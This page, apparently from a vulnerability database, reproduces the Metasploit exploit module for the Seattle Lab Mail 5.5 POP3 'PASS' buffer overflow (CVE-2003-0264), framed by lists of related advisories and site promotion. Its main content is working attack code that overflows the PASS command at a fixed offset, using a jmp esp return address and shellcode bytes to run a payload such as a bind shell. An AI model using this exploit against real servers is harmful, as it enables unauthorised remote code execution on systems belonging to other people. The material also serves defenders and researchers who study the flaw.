Lucene search
K

Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (Metasploit)

🗓️ 30 Apr 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 423 Views

Seattle Lab Mail 5.5 POP3 server buffer overflow vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Seattle Lab Mail (SLMail) 5.1.0.4420 Remote Code Execution Exploit
24 Feb 202100:00
zdt
Tenable Nessus
SLMail SMTP Multiple Overflows
18 Aug 200400:00
nessus
Tenable Nessus
SLMail < 5.1.0.4433 Multiple Command Remote Overflows
7 May 200300:00
nessus
Circl
CVE-2003-0264
30 Apr 201000:00
circl
CVE
CVE-2003-0264
8 May 200304:00
cve
Cvelist
CVE-2003-0264
8 May 200304:00
cvelist
Metasploit
Seattle Lab Mail 5.5 POP3 Buffer Overflow
7 Jan 200706:27
metasploit
NVD
CVE-2003-0264
27 May 200304:00
nvd
Packet Storm
SLMail 5.1.0.4420 Remote Code Execution
24 Feb 202100:00
packetstorm
##
# $Id: seattlelab_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
			'Description'    => %q{
					There exists an unauthenticated buffer overflow vulnerability
				in the POP3 server of Seattle Lab Mail 5.5 when sending a password
				with excessive length.

				Successful exploitation should not crash either the
				service or the server; however, after initial use the
				port cannot be reused for successive exploitation until
				the service has been restarted. Consider using a command
				execution payload following the bind shell to restart
				the service if you need to reuse the same port.

				The overflow appears to occur in the debugging/error reporting
				section of the slmail.exe executable, and there are multiple
				offsets that will lead to successful exploitation. This exploit
				uses 2606, the offset that creates the smallest overall payload.
				The other offset is 4654.

				The return address is overwritten with a "jmp esp" call from the
				application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
				return address works against all version of Windows and service packs.

				The last modification date on the library is dated 06/02/99. Assuming
				that the code where the overflow occurs has not changed in some time,
				prior version of SLMail may also be vulnerable with this exploit. The
				author has not been able to acquire older versions of SLMail for
				testing purposes. Please let us know if you were able to get this
				exploit working against other SLMail versions.
			},
			'Author'         => 'stinko',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2003-0264'],
					['OSVDB', '11975'],
					['BID', '7519'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'MinNops'  => 100,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
				],
			'DisclosureDate' => 'May 07 2003',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(110)
			], self.class)

	end

	def exploit
		connect

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		banner = sock.get_once
		if banner !~ /^\+OK POP3 server (.*) ready/
			print_error("POP3 server does not appear to be running")
			return
		end

		sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
		res = sock.get_once
		if banner !~ /^\+OK (.*) welcome here$/
			print_error("POP3 server rejected username")
			return
		end

		request  = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
		request << payload.encoded
		request << [target.ret].pack('V')
		request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
		request << "\xe9\xcb\xfd\xff\xff"         # go back 560 bytes
		request << rand_text_alphanumeric(512)         # cruft
		request << "\r\n"

		sock.put(request)

		handler
		disconnect
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.55213
423